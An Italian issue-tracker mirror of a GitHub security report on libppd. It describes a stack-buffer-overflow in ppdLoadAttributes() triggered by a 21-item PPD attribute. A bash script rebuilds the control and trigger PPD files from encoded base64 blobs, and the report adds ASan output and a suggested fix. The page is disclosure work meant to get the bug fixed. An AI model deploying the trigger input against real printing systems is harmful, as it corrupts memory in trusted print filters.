libppd: a 21-item PPD attribute writes past items[20]

Aperta
#85 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
3/5
Tempo stimato
1-2 giorni
Idoneità per principianti
72/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Tranquilla
Stack tecnologico
c
Ambito
security

Direzione di ricerca

Inizia in ppd/ppd-ipp.c, in ppdLoadAttributes(), prestando particolare attenzione alla dichiarazione di items intorno alla riga 331 e alla logica di append alle righe 615-620. Esegui reproduce.sh con gli input di controllo a 20 elementi e di attivazione a 21 elementi per osservare l’attuale errore di ASan. Il lavoro è completo quando gli attributi che superano il numero di elementi supportato non scrivono più oltre l’array nello stack e il caso di controllo rimane pulito.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Summary

ppdLoadAttributes() splits selected comma-separated PPD attributes into a
fixed 20-pointer stack array without limiting the item count. A 21-item
cupsPwgRasterAuditSupported value causes a stack-buffer-overflow write before
the document parser runs.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The commits between these revisions only change CI files; ppd/ppd-ipp.c is
byte-identical.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/control-20.ppd contains 20 values and exits normally.
poc/trigger-21.ppd, SHA-256
1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933,
adds one value. Both use the same 85-byte valid PNG.

Run ./reproduce.sh for the trigger or MODE=control ./reproduce.sh for the
control group.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: a 21-item PPD attribute writes past items[20]
# Finding ID: libppd-ipp-attribute-item-stack-overflow
# Trigger: ppdLoadAttributes() splits selected comma-separated PPD attributes
# into a fixed 20-pointer stack array without limiting the item count. A
# 21-item cupsPwgRasterAuditSupported value causes a stack-buffer-overflow
# write before the document parser runs.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Boundary control input; this case should remain clean.
# Output: control-20.ppd (1047 bytes)
write_file control-20.ppd 79014c8de0b8642cb0607db8dd5412c6e1b4e89964d0044433e2f54155cd52b6 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
1z+3Ec7X+A+SH2qHm2XxlwQyWw3ydUVaIRqN+AGLD/GdthI7WMAbc8JWzBosumxctCcA193ddc/g
rxHtk/Gk/7u7wvD4xR4e1AeRToj7+xysRlkCnsfFe8+FyuF1Na2u/2zoGdLj+31n6czVTZXYf7ZV
Lr3cXYwD2wmYGWDV9Z/gygG9JYMRGU5uyHg4atYCaDALnoHMv4So49Wak/lm4y/HD85tFwQAAA==
POC_PAYLOAD_0

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_1'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_1

# PPD configuration needed to select the vulnerable filter state.
# Output: trigger-21.ppd (1051 bytes)
write_file trigger-21.ppd 1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933 <<'POC_PAYLOAD_2'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
10ddn56vmq/xLyQ/1A63y+I/CWS2GuTrirRCNBvxA5Yf4lttJfawgDfmhK2YNVh02rhoTwCuu7vr
nsFfI9on40n/d3eFBeA3e3hQH0Q6Ie7vc7AaZQl4HhdvPhcqh9fVtLr+s6FnSI9v+J2lM1c3VWL/
2Va59HJ3MQ5sJ2BmgFXXf4IrB/SWDEZkOLkh4+GoWQugwSx4BjL/EqKOV2tO5puNvxrz7WgbBAAA
POC_PAYLOAD_2

Result

The control exits 0. The trigger aborts with ASan WRITE of size 8 in
ppdLoadAttributes() at ppd-ipp.c:620; the address is beyond the
items[20] stack object. The real route is:

imagetops -> ppdFilterCUPSWrapper -> ppdFilterLoadPPD -> ppdLoadAttributes

The PPD is trusted configuration in many deployments, so ordinary document
submitters cannot usually supply it. Malicious driver packages, imported PPDs,
or compromised queue configuration can reach the write.

Cause and expected behavior

The parser declares const char *items[20] at line 331, then appends every
comma-delimited value at lines 615-620 without checking num_items.

The parser must reject attributes with more than the supported number of
items, or allocate the pointer array from a checked count before splitting.

Lingua principale
C
Stelle
5
Fork
29
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Guida per i contributori

Apri la guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di OpenPrinting/libppd

Tutte le issue di OpenPrinting/libppd

Issue simili

Altre issue su C

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.